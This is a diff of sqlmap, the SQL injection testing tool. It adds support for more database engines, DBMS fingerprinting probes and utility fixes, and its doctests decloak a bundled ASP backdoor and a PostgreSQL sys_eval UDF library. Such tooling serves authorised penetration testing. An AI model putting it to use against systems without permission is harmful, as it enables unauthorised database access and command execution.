-        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
+        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
             retVal = name.replace("\"", "").upper()
         elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
             retVal = name.replace("[", "").replace("]", "")
@@ -4679,7 +4780,7 @@ def serializeObject(object_):
     """
     Serializes given object
 
-    >>> type(serializeObject([1, 2, 3, ('a', 'b')])) == six.binary_type
+    >>> type(serializeObject([1, 2, 3, ('a', 'b')])) == str
     True
     """
 
@@ -4797,6 +4898,8 @@ def extractExpectedValue(value, expected):
     True
     >>> extractExpectedValue('1', EXPECTED.INT)
     1
+    >>> extractExpectedValue('7\\xb9645', EXPECTED.INT) is None
+    True
     """
 
     if expected:
@@ -4820,8 +4923,10 @@ def extractExpectedValue(value, expected):
                 else:
                     value = None
         elif expected == EXPECTED.INT:
-            if isinstance(value, six.string_types):
-                value = int(value) if value.isdigit() else None
+            try:
+                value = int(value)
+            except:
+                value = None
 
     return value
 
@@ -4905,6 +5010,14 @@ def decloakToTemp(filename):
     >>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
     True
     >>> os.remove(_)
+    >>> _ = decloakToTemp(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.asp_"))
+    >>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
+    True
+    >>> os.remove(_)
+    >>> _ = decloakToTemp(os.path.join(paths.SQLMAP_UDF_PATH, "postgresql", "linux", "64", "11", "lib_postgresqludf_sys.so_"))
+    >>> b'sys_eval' in openFile(_, "rb", encoding=None).read()
+    True
+    >>> os.remove(_)
     """
 
     content = decloak(filename)
@@ -4938,6 +5051,12 @@ def getRequestHeader(request, name):
     Solving an issue with an urllib2 Request header case sensitivity
 
     # Reference: http://bugs.python.org/issue2275
+
+    >>> _ = lambda _: _
+    >>> _.headers = {"FOO": "BAR"}
+    >>> _.header_items = lambda: _.headers.items()
+    >>> getText(getRequestHeader(_, "foo"))
+    'BAR'
     """
 
     retVal = None
@@ -5035,6 +5154,13 @@ def pollProcess(process, suppress_errors=False):
 def parseRequestFile(reqFile, checkParams=True):
     """
     Parses WebScarab and Burp logs and adds results to the target URL list
+
+    >>> handle, reqFile = tempfile.mkstemp(suffix=".req")
+    >>> content = b"POST / HTTP/1.0\\nUser-agent: foobar\\nHost: www.example.com\\n\\nid=1\\n"
+    >>> _ = os.write(handle, content)
+    >>> os.close(handle)
+    >>> next(parseRequestFile(reqFile)) == ('http://www.example.com:80/', 'POST', 'id=1', None, (('User-agent', 'foobar'), ('Host', 'www.example.com')))
+    True
     """
 
     def _parseWebScarabLog(content):
@@ -5153,6 +5279,11 @@ def parseRequestFile(reqFile, checkParams=True):
                     key, value = line.split(":", 1)
                     value = value.strip().replace("\r", "").replace("\n", "")
 
+                    # Note: overriding values with --headers '...'
+                    match = re.search(r"(?i)\b(%s): ([^\n]*)" % re.escape(key), conf.headers or "")
+                    if match:
+                        key, value = match.groups()
+
                     # Cookie and Host headers
                     if key.upper() == HTTP_HEADER.COOKIE.upper():
                         cookie = value
@@ -5172,7 +5303,7 @@ def parseRequestFile(reqFile, checkParams=True):
                         params = True
 
                     # Avoid proxy and connection type related headers
-                    elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION):
+                    elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION, HTTP_HEADER.IF_MODIFIED_SINCE, HTTP_HEADER.IF_NONE_MATCH):
                         headers.append((getUnicode(key), getUnicode(value)))
 
                     if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):

lib/core/convert.py

@@ -48,16 +48,16 @@ def base64pickle(value):
     retVal = None
 
     try:
-        retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL))
+        retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL), binary=False)
     except:
         warnMsg = "problem occurred while serializing "
         warnMsg += "instance of a type '%s'" % type(value)
         singleTimeWarnMessage(warnMsg)
 
         try:
-            retVal = encodeBase64(pickle.dumps(value))
+            retVal = encodeBase64(pickle.dumps(value), binary=False)
         except:
-            retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL))
+            retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL), binary=False)
 
     return retVal
 
@@ -95,7 +95,7 @@ def htmlUnescape(value):
 
         try:
             retVal = re.sub(r"&#x([^ ;]+);", lambda match: _unichr(int(match.group(1), 16)), retVal)
-        except ValueError:
+        except (ValueError, OverflowError):
             pass
 
     return retVal
@@ -198,8 +198,32 @@ def decodeBase64(value, binary=True, encoding=None):
     True
     >>> decodeBase64("MTIz", binary=False)
     '123'
+    >>> decodeBase64("A-B_CDE") == decodeBase64("A+B/CDE")
+    True
+    >>> decodeBase64(b"MTIzNA") == b"1234"
+    True
+    >>> decodeBase64("MTIzNA") == b"1234"
+    True
+    >>> decodeBase64("MTIzNA==") == b"1234"
+    True
     """
 
+    if value is None:
+        return None
+
+    padding = b'=' if isinstance(value, bytes) else '='
+
+    # Reference: https://stackoverflow.com/a/49459036
+    if not value.endswith(padding):
+        value += 3 * padding
+
+    # Reference: https://en.wikipedia.org/wiki/Base64#URL_applications
+    # Reference: https://perldoc.perl.org/MIME/Base64.html
+    if isinstance(value, bytes):
+        value = value.replace(b'-', b'+').replace(b'_', b'/')
+    else:
+        value = value.replace('-', '+').replace('_', '/')
+
     retVal = base64.b64decode(value)
 
     if not binary:
@@ -207,16 +231,23 @@ def decodeBase64(value, binary=True, encoding=None):
 
     return retVal
 
-def encodeBase64(value, binary=True, encoding=None):
+def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False):
     """
     Returns a decoded representation of provided Base64 value
 
     >>> encodeBase64(b"123") == b"MTIz"
     True
-    >>> encodeBase64(u"123", binary=False)
-    'MTIz'
+    >>> encodeBase64(u"1234", binary=False)
+    'MTIzNA=='
+    >>> encodeBase64(u"1234", binary=False, padding=False)
+    'MTIzNA'
+    >>> encodeBase64(decodeBase64("A-B_CDE"), binary=False, safe=True)
+    'A-B_CDE'
     """
 
+    if value is None:
+        return None
+
     if isinstance(value, six.text_type):
         value = value.encode(encoding or UNICODE_ENCODING)
 
@@ -225,9 +256,22 @@ def encodeBase64(value, binary=True, encoding=None):
     if not binary:
         retVal = getText(retVal, encoding)
 
+    if safe:
+        padding = False
+
+        # Reference: https://en.wikipedia.org/wiki/Base64#URL_applications
+        # Reference: https://perldoc.perl.org/MIME/Base64.html
+        if isinstance(retVal, bytes):
+            retVal = retVal.replace(b'+', b'-').replace(b'/', b'_')
+        else:
+            retVal = retVal.replace('+', '-').replace('/', '_')
+
+    if not padding:
+        retVal = retVal.rstrip(b'=' if isinstance(retVal, bytes) else '=')
+
     return retVal
 
-def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True):
+def getBytes(value, encoding=None, errors="strict", unsafe=True):
     """
     Returns byte representation of provided Unicode value
 
@@ -237,9 +281,12 @@ def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True):
 
     retVal = value
 
+    if encoding is None:
+        encoding = conf.get("encoding") or UNICODE_ENCODING
+
     try:
         codecs.lookup(encoding)
-    except LookupError:
+    except (LookupError, TypeError):
         encoding = UNICODE_ENCODING
 
     if isinstance(value, six.text_type):
@@ -253,7 +300,10 @@ def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True):
             if unsafe:
                 retVal = re.sub(r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER, lambda _: decodeHex(_.group(1)), retVal)
         else:
-            retVal = value.encode(encoding, errors)
+            try:
+                retVal = value.encode(encoding, errors)
+            except UnicodeError:
+                retVal = value.encode(UNICODE_ENCODING, errors="replace")
 
             if unsafe:
                 retVal = re.sub(b"\\\\x([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), retVal)
@@ -300,7 +350,7 @@ def getUnicode(value, encoding=None, noneToNull=False):
         for candidate in candidates:
             try:
                 return six.text_type(value, candidate)
-            except UnicodeDecodeError:
+            except (UnicodeDecodeError, LookupError):
                 pass
 
         try:

lib/core/decorators.py

@@ -28,7 +28,7 @@ def cachedmethod(f):
     >>> __ = cachedmethod(lambda *args, **kwargs: args[0])
     >>> __(2)
     2
-    >>> __ = cachedmethod(lambda *args, **kwargs: list(kwargs.values())[0])
+    >>> __ = cachedmethod(lambda *args, **kwargs: next(iter(kwargs.values())))
     >>> __(foobar=3)
     3
 
@@ -39,16 +39,19 @@ def cachedmethod(f):
 
     @functools.wraps(f)
     def _f(*args, **kwargs):
-        key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff
-
         try:
-            with _cache_lock:
-                result = _cache[f][key]
-        except KeyError:
+            key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff
+        except ValueError:  # https://github.com/sqlmapproject/sqlmap/issues/4281 (NOTE: non-standard Python behavior where hexdigest returns binary value)
             result = f(*args, **kwargs)
+        else:
+            try:
+                with _cache_lock:
+                    result = _cache[f][key]
+            except KeyError:
+                result = f(*args, **kwargs)
 
-            with _cache_lock:
-                _cache[f][key] = result
+                with _cache_lock:
+                    _cache[f][key] = result
 
         return result
 

lib/core/defaults.py

@@ -15,6 +15,7 @@ _defaults = {
     "delay": 0,
     "timeout": 30,
     "retries": 3,
+    "csrfRetries": 0,
     "saFreq": 0,
     "threads": 1,
     "level": 1,

lib/core/dicts.py

@@ -10,20 +10,32 @@ from lib.core.enums import DBMS
 from lib.core.enums import OS
 from lib.core.enums import POST_HINT
 from lib.core.settings import ACCESS_ALIASES
+from lib.core.settings import ALTIBASE_ALIASES
 from lib.core.settings import BLANK
+from lib.core.settings import CACHE_ALIASES
+from lib.core.settings import CRATEDB_ALIASES
+from lib.core.settings import CUBRID_ALIASES
 from lib.core.settings import DB2_ALIASES
+from lib.core.settings import DERBY_ALIASES
+from lib.core.settings import EXTREMEDB_ALIASES
 from lib.core.settings import FIREBIRD_ALIASES
+from lib.core.settings import FRONTBASE_ALIASES
 from lib.core.settings import H2_ALIASES
 from lib.core.settings import HSQLDB_ALIASES
 from lib.core.settings import INFORMIX_ALIASES
 from lib.core.settings import MAXDB_ALIASES
+from lib.core.settings import MCKOI_ALIASES
+from lib.core.settings import MIMERSQL_ALIASES
+from lib.core.settings import MONETDB_ALIASES
 from lib.core.settings import MSSQL_ALIASES
 from lib.core.settings import MYSQL_ALIASES
 from lib.core.settings import NULL
 from lib.core.settings import ORACLE_ALIASES
 from lib.core.settings import PGSQL_ALIASES
+from lib.core.settings import PRESTO_ALIASES
 from lib.core.settings import SQLITE_ALIASES
 from lib.core.settings import SYBASE_ALIASES
+from lib.core.settings import VERTICA_ALIASES
 
 FIREBIRD_TYPES = {
     261: "BLOB",
@@ -108,6 +120,28 @@ SYBASE_TYPES = {
     20: "image",
 }
 
+ALTIBASE_TYPES = {
+    1: "CHAR",
+    12: "VARCHAR",
+    -8: "NCHAR",
+    -9: "NVARCHAR",
+    2: "NUMERIC",
+    6: "FLOAT",
+    8: "DOUBLE",
+    7: "REAL",
+    -5: "BIGINT",
+    4: "INTEGER",
+    5: "SMALLINT",
+    9: "DATE",
+    30: "BLOB",
+    40: "CLOB",
+    20001: "BYTE",
+    20002: "NIBBLE",
+    -7: "BIT",
+    -100: "VARBIT",
+    10003: "GEOMETRY",
+}
+
 MYSQL_PRIVS = {
     1: "select_priv",
     2: "insert_priv",
@@ -198,8 +232,21 @@ DBMS_DICT = {
     DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
     DBMS.H2: (H2_ALIASES, None, None, None),
     DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
+    DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"),
+    DBMS.DERBY: (DERBY_ALIASES, "pydrda", "https://github.com/nakagami/pydrda/", None),
+    DBMS.VERTICA: (VERTICA_ALIASES, "vertica-python", "https://github.com/vertica/vertica-python", "vertica+vertica_python"),
+    DBMS.MCKOI: (MCKOI_ALIASES, None, None, None),
+    DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None),
+    DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None),
+    DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None),
+    DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"),
+    DBMS.CUBRID: (CUBRID_ALIASES, "CUBRID-Python", "https://github.com/CUBRID/cubrid-python", None),
+    DBMS.CACHE: (CACHE_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
+    DBMS.EXTREMEDB: (EXTREMEDB_ALIASES, None, None, None),
+    DBMS.FRONTBASE: (FRONTBASE_ALIASES, None, None, None),
 }
 
+# Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/
 FROM_DUMMY_TABLE = {
     DBMS.ORACLE: " FROM DUAL",
     DBMS.ACCESS: " FROM MSysAccessObjects",
@@ -207,7 +254,32 @@ FROM_DUMMY_TABLE = {
     DBMS.MAXDB: " FROM VERSIONS",
     DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",
     DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS",
-    DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL"
+    DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL",
+    DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1",
+    DBMS.MIMERSQL: " FROM SYSTEM.ONEROW",
+    DBMS.FRONTBASE: " FROM INFORMATION_SCHEMA.IO_STATISTICS"
+}
+
+HEURISTIC_NULL_EVAL = {
+    DBMS.ACCESS: "CVAR(NULL)",
+    DBMS.MAXDB: "ALPHA(NULL)",
+    DBMS.MSSQL: "DIFFERENCE(NULL,NULL)",
+    DBMS.MYSQL: "QUARTER(NULL)",
+    DBMS.ORACLE: "INSTR2(NULL,NULL)",
+    DBMS.PGSQL: "QUOTE_IDENT(NULL)",
+    DBMS.SQLITE: "UNLIKELY(NULL)",
+    DBMS.H2: "STRINGTOUTF8(NULL)",
+    DBMS.MONETDB: "CODE(NULL)",
+    DBMS.DERBY: "NULLIF(USER,SESSION_USER)",
+    DBMS.VERTICA: "BITSTRING_TO_BINARY(NULL)",
+    DBMS.MCKOI: "TONUMBER(NULL)",
+    DBMS.PRESTO: "FROM_HEX(NULL)",
+    DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)",
+    DBMS.MIMERSQL: "ASCII_CHAR(256)",
+    DBMS.CRATEDB: "MD5(NULL~NULL)",  # Note: NULL~NULL also being evaluated on H2 and Ignite
+    DBMS.CUBRID: "(NULL SETEQ NULL)",
+    DBMS.CACHE: "%SQLUPPER NULL",
+    DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))",
 }
 
 SQL_STATEMENTS = {

lib/core/dump.py

@@ -72,7 +72,7 @@ class Dump(object):
         text = "%s%s" % (data, "\n" if newline else " ")
 
         if conf.api:
-            dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE)
+            dataToStdout(data, contentType=content_type, status=CONTENT_STATUS.COMPLETE)
 
         elif console:
             dataToStdout(text)
@@ -107,9 +107,6 @@ class Dump(object):
             errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex)
             raise SqlmapGenericException(errMsg)
 
-    def getOutputFile(self):
-        return self._outputFile
-
     def singleString(self, data, content_type=None):
         self._write(data, content_type=content_type)
 
@@ -167,10 +164,10 @@ class Dump(object):
         self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER)
 
     def currentDb(self, data):
-        if Backend.isDbms(DBMS.MAXDB):
-            self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
-        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
-            self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
+        if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE):
+            self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
+        elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB):
+            self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
         else:
             self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
 
@@ -244,7 +241,7 @@ class Dump(object):
             lines = "-" * (int(maxlength) + 2)
 
             for db, tables in dbTables.items():
-                tables.sort()
+                tables = sorted(filter(None, tables))
 
                 self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database")
 
@@ -641,7 +638,7 @@ class Dump(object):
 
         if conf.dumpFormat == DUMP_FORMAT.SQLITE:
             rtable.endTransaction()
-            logger.info("table '%s.%s' dumped to sqlite3 database '%s'" % (db, table, replication.dbpath))
+            logger.info("table '%s.%s' dumped to SQLITE database '%s'" % (db, table, replication.dbpath))
 
         elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
             if conf.dumpFormat == DUMP_FORMAT.HTML:

lib/core/enums.py

@@ -42,9 +42,21 @@ class DBMS(object):
     PGSQL = "PostgreSQL"
     SQLITE = "SQLite"
     SYBASE = "Sybase"
+    INFORMIX = "Informix"
     HSQLDB = "HSQLDB"
     H2 = "H2"
-    INFORMIX = "Informix"
+    MONETDB = "MonetDB"
+    DERBY = "Apache Derby"
+    VERTICA = "Vertica"
+    MCKOI = "Mckoi"
+    PRESTO = "Presto"
+    ALTIBASE = "Altibase"
+    MIMERSQL = "MimerSQL"
+    CRATEDB = "CrateDB"
+    CUBRID = "Cubrid"
+    CACHE = "InterSystems Cache"
+    EXTREMEDB = "eXtremeDB"
+    FRONTBASE = "FrontBase"
 
 class DBMS_DIRECTORY_NAME(object):
     ACCESS = "access"
@@ -60,6 +72,33 @@ class DBMS_DIRECTORY_NAME(object):
     HSQLDB = "hsqldb"
     H2 = "h2"
     INFORMIX = "informix"
+    MONETDB = "monetdb"
+    DERBY = "derby"
+    VERTICA = "vertica"
+    MCKOI = "mckoi"
+    PRESTO = "presto"
+    ALTIBASE = "altibase"
+    MIMERSQL = "mimersql"
+    CRATEDB = "cratedb"
+    CUBRID = "cubrid"
+    CACHE = "cache"
+    EXTREMEDB = "extremedb"
+    FRONTBASE = "frontbase"
+
+class FORK(object):
+    MARIADB = "MariaDB"
+    MEMSQL = "MemSQL"
+    PERCONA = "Percona"
+    COCKROACHDB = "CockroachDB"
+    TIDB = "TiDB"
+    REDSHIFT = "Amazon Redshift"
+    GREENPLUM = "Greenplum"
+    DRIZZLE = "Drizzle"
+    IGNITE = "Apache Ignite"
+    AURORA = "Aurora"
+    ENTERPRISEDB = "EnterpriseDB"
+    YELLOWBRICK = "Yellowbrick"
+    IRIS = "Iris"
 
 class CUSTOM_LOGGING(object):
     PAYLOAD = 9
@@ -138,7 +177,7 @@ class HASH(object):
     SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z'
     CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z'
     JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z'
-    WORDPRESS = r'\A\$P\$[./0-9a-zA-Z]{31}\Z'
+    PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z'
     APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
     UNIX_MD5_CRYPT = r'\A\$1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
     APACHE_SHA1 = r'\A\{SHA\}[a-zA-Z0-9+/]+={0,2}\Z'
@@ -200,6 +239,7 @@ class HTTP_HEADER(object):
     EXPIRES = "Expires"
     HOST = "Host"
     IF_MODIFIED_SINCE = "If-Modified-Since"
+    IF_NONE_MATCH = "If-None-Match"
     LAST_MODIFIED = "Last-Modified"
     LOCATION = "Location"
     PRAGMA = "Pragma"
@@ -389,3 +429,8 @@ class TIMEOUT_STATE(object):
 class HINT(object):
     PREPEND = 0
     APPEND = 1
+
+class FUZZ_UNION_COLUMN:
+    STRING = "<string>"
+    INTEGER = "<integer>"
+    NULL = "NULL"

lib/core/gui.py

@@ -29,6 +29,7 @@ from lib.core.settings import VERSION_STRING
 from lib.core.settings import WIKI_PAGE
 from thirdparty.six.moves import queue as _queue
 
+alive = None
 line = ""
 process = None
 queue = None
@@ -186,7 +187,7 @@ def runGui(parser):
 
         center(top)
 
-        while alive:
+        while True:
             line = ""
             try:
                 # line = queue.get_nowait()
@@ -196,6 +197,9 @@ def runGui(parser):
                 text.see(_tkinter.END)
                 text.update_idletasks()
 
+                if not alive:
+                    break
+
     menubar = _tkinter.Menu(window)
 
     filemenu = _tkinter.Menu(menubar, tearoff=0)

lib/core/log.py

@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
 """
 
 import logging
+import re
 import sys
 
 from lib.core.enums import CUSTOM_LOGGING
@@ -20,6 +21,77 @@ LOGGER_HANDLER = None
 try:
     from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler
 
+    class _ColorizingStreamHandler(ColorizingStreamHandler):
+        def colorize(self, message, levelno):
+            if levelno in self.level_map and self.is_tty:
+                bg, fg, bold = self.level_map[levelno]
+                params = []
+
+                if bg in self.color_map:
+                    params.append(str(self.color_map[bg] + 40))
+
+                if fg in self.color_map:
+                    params.append(str(self.color_map[fg] + 30))
+
+                if bold:
+                    params.append('1')
+
+                if params and message:
+                    match = re.search(r"\A(\s+)", message)
+                    prefix = match.group(1) if match else ""
+                    message = message[len(prefix):]
+
+                    match = re.search(r"\[([A-Z ]+)\]", message)  # log level
+                    if match:
+                        level = match.group(1)
+                        if message.startswith(self.bold):
+                            message = message.replace(self.bold, "")
+                            reset = self.reset + self.bold
+                            params.append('1')
+                        else:
+                            reset = self.reset
+                        message = message.replace(level, ''.join((self.csi, ';'.join(params), 'm', level, reset)), 1)
+
+                        match = re.search(r"\A\s*\[([\d:]+)\]", message)  # time
+                        if match:
+                            time = match.group(1)
+                            message = message.replace(time, ''.join((self.csi, str(self.color_map["cyan"] + 30), 'm', time, self._reset(message))), 1)
+
+                        match = re.search(r"\[(#\d+)\]", message)  # counter
+                        if match:
+                            counter = match.group(1)
+                            message = message.replace(counter, ''.join((self.csi, str(self.color_map["yellow"] + 30), 'm', counter, self._reset(message))), 1)
+
+                        if level != "PAYLOAD":
+                            if any(_ in message for _ in ("parsed DBMS error message",)):
+                                match = re.search(r": '(.+)'", message)
+                                if match:
+                                    string = match.group(1)
+                                    message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
+                            else:
+                                match = re.search(r"\bresumed: '(.+\.\.\.)", message)
+                                if match:
+                                    string = match.group(1)
+                                    message = message.replace("'%s" % string, "'%s" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
+                                else:
+                                    match = re.search(r" \('(.+)'\)\Z", message) or re.search(r"output: '(.+)'\Z", message)
+                                    if match:
+                                        string = match.group(1)
+                                        message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
+                                    else:
+                                        for match in re.finditer(r"[^\w]'([^']+)'", message):  # single-quoted
+                                            string = match.group(1)
+                                            message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
+                    else:
+                        message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset))
+
+                    if prefix:
+                        message = "%s%s" % (prefix, message)
+
+                    message = message.replace("%s]" % self.bold, "]%s" % self.bold)  # dirty patch
+
+            return message
+
     disableColor = False
 
     for argument in sys.argv:
@@ -30,7 +102,7 @@ try:
     if disableColor:
         LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
     else:
-        LOGGER_HANDLER = ColorizingStreamHandler(sys.stdout)
+        LOGGER_HANDLER = _ColorizingStreamHandler(sys.stdout)
         LOGGER_HANDLER.level_map[logging.getLevelName("PAYLOAD")] = (None, "cyan", False)
         LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC OUT")] = (None, "magenta", False)
         LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC IN")] = ("magenta", None, False)

lib/core/option.py

@@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
 from __future__ import division
 
 import codecs
+import collections
 import functools
 import glob
 import inspect
@@ -93,7 +94,6 @@ from lib.core.exception import SqlmapInstallationException
 from lib.core.exception import SqlmapMissingDependence
 from lib.core.exception import SqlmapMissingMandatoryOptionException
 from lib.core.exception import SqlmapMissingPrivileges
-from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapSilentQuitException
 from lib.core.exception import SqlmapSyntaxException
 from lib.core.exception import SqlmapSystemException
@@ -121,6 +121,7 @@ from lib.core.settings import MAX_NUMBER_OF_THREADS
 from lib.core.settings import NULL
 from lib.core.settings import PARAMETER_SPLITTING_REGEX
 from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT
+from lib.core.settings import PROXY_ENVIRONMENT_VARIABLES
 from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE
 from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
 from lib.core.settings import SUPPORTED_DBMS
@@ -330,8 +331,13 @@ def _setRequestFromFile():
         infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq
         logger.info(infoMsg)
 
-        target = next(parseRequestFile(conf.secondReq, False))
-        kb.secondReq = target
+        try:
+            target = next(parseRequestFile(conf.secondReq, False))
+            kb.secondReq = target
+        except StopIteration:
+            errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq
+            errMsg += "does not contain a valid HTTP request"
+            raise SqlmapDataException(errMsg)
 
 def _setCrawler():
     if not conf.crawlDepth:
@@ -341,7 +347,7 @@ def _setCrawler():
         if conf.url:
             crawl(conf.url)
         elif conf.requestFile and kb.targets:
-            target = list(kb.targets)[0]
+            target = next(iter(kb.targets))
             crawl(target[0], target[2], target[3])
 
 def _doSearch():
@@ -365,7 +371,7 @@ def _doSearch():
 
         for link in links:
             link = urldecode(link)
-            if re.search(r"(.*?)\?(.+)", link):
+            if re.search(r"(.*?)\?(.+)", link) or conf.forms:
                 kb.targets.add((link, conf.method, conf.data, conf.cookie, None))
             elif re.search(URI_INJECTABLE_REGEX, link, re.I):
                 if kb.data.onlyGETs is None and conf.data is None and not conf.googleDork:
@@ -381,14 +387,18 @@ def _doSearch():
 
         if kb.targets:
             infoMsg = "found %d results for your " % len(links)
-            infoMsg += "search dork expression, "
+            infoMsg += "search dork expression"
 
-            if len(links) == len(kb.targets):
-                infoMsg += "all "
-            else:
-                infoMsg += "%d " % len(kb.targets)
+            if not conf.forms:
+                infoMsg += ", "
+
+                if len(links) == len(kb.targets):
+                    infoMsg += "all "
+                else:
+                    infoMsg += "%d " % len(kb.targets)
+
+                infoMsg += "of them are testable targets"
 
-            infoMsg += "of them are testable targets"
             logger.info(infoMsg)
             break
 
@@ -403,6 +413,37 @@ def _doSearch():
             else:
                 conf.googlePage += 1
 
+def _setStdinPipeTargets():
+    if isinstance(conf.stdinPipe, collections.Iterable):
+        infoMsg = "using 'STDIN' for parsing targets list"
+        logger.info(infoMsg)
+
+        class _(object):
+            def __init__(self):
+                self.__rest = OrderedSet()
+
+            def __iter__(self):
+                return self
+
+            def __next__(self):
+                return self.next()
+
+            def next(self):
+                line = next(conf.stdinPipe)
+                if line:
+                    match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I)
+                    if match:
+                        return (match.group(0), conf.method, conf.data, conf.cookie, None)
+                elif self.__rest:
+                    return self.__rest.pop()
+
+                raise StopIteration()
+
+            def add(self, elem):
+                self.__rest.add(elem)
+
+        kb.targets = _()
+
 def _setBulkMultipleTargets():
     if not conf.bulkFile:
         return
@@ -419,7 +460,10 @@ def _setBulkMultipleTargets():
 
     found = False
     for line in getFileItems(conf.bulkFile):
-        if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line:
+        if conf.scope and not re.search(conf.scope, line, re.I):
+            continue
+
+        if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line or conf.data:
             found = True
             kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None))
 
@@ -670,7 +714,7 @@ def _setDBMS():
     logger.debug(debugMsg)
 
     conf.dbms = conf.dbms.lower()
